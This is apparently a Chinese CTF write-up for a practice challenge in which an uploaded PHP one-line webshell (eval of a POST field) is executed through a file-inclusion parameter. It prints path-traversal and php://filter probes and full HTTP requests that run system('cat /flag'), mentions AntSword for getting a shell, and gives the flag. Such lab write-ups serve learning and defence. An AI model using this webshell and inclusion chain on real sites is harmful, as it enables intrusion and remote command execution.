一、题面
查询参数中有个
file
->可以尝试测试文件包含漏洞。文件上传功能->可以测试文件上传漏洞
二、分析
2.1 测试文件包含漏洞
file=index.php
file=../../../../../../../etc/passwd
file=php://filter/read=convert.base64-encode/resource=/etc/passwd
貌似做了白名单限制,提供啥参数都是一样的响应。
2.2 测试文件上传漏洞
- yjh.php
<?php eval($_POST['sxk'])?>
能够成功上传。
抓包:
能上传成功说明没有检测MIME类型,也没有检测文件内容。
但是文件名被改成了jpg后缀,且后文件上传路径是知道的。
另存图片检查一下内容,看看是否做了二次渲染:
010editor打开之后发现内容并没有变,还是一句话木马的内容,说明只是替换了后缀,如果存在文件包含漏洞,那么木马就可以被解析执行。
http://5006359e-0a16-4718-80cc-1440129facf4.node5.buuoj.cn:81/index.php?file=uploads/67b472303fc1a.jpg
访问时会弹一个index.gz的20B文件下载。
(其实这个时候已经解析执行了)
修改路径尝试:
测试upload.php
upload.php文件返回的内容和index.php?file=upload.php
返回的内容相同。
现在的问题是:木马已经上传成功了,但是后缀名是jpg,需要借助解析漏洞实现利用。
想到上传.htaccess文件。
但还是被改成了jpg后缀。
上传user.ini也是。
随便改个后缀呢?也被改成jpg了。。。
尝试. 、.空格.、 空格
都被改成了jpg。
但是解析漏洞又没办法用。但推测肯定是通过文件包含漏洞来执行脚本的。
2.3 结合文件包含漏洞实现命令执行
修改为POST请求,添加content-type
(必须):
命令执行成功。
三、解题
2.1 请求包构建
POST /index.php?file=uploads/67b472303fc1a.jpg HTTP/1.1
Host: 5006359e-0a16-4718-80cc-1440129facf4.node5.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
content-type: application/x-www-form-urlencoded
sxk=system("cat /flag");
精简之后:
POST /index.php?file=uploads/67b472303fc1a.jpg HTTP/1.1
Host: 5006359e-0a16-4718-80cc-1440129facf4.node5.buuoj.cn:81
content-type: application/x-www-form-urlencoded
sxk=system("cat /flag");
2.3 antsword getshell
之前被页面回显的你不老实哦~
骗了,其实木马在包含时已经被执行了。
为了能够直观的看到代码是否被执行,可以额外echo一个字符串,如下图所示:
如果页面输出了我们定制的字符串,那么就能证明后门脚本已经成功执行。
路径也要注意,下面的路径没有触发执行:
file=./uploads/67b4831d1ad92.jpg
file=../uploads/67b4831d1ad92.jpg
应该是对./
等路径参数做了过滤,所以包含路径的时候也要注意尝试。
2.2 Flag
flag{b269923e-d5a6-4f7f-a8fc-08992895bd21}
总结
本文主要考察文件上传漏洞和文件包含漏洞的综合的利用,主要考点包括:1)文件上传漏洞、2)文件包含漏洞(包含图片木马,小trick-脚本插入定制的字符串)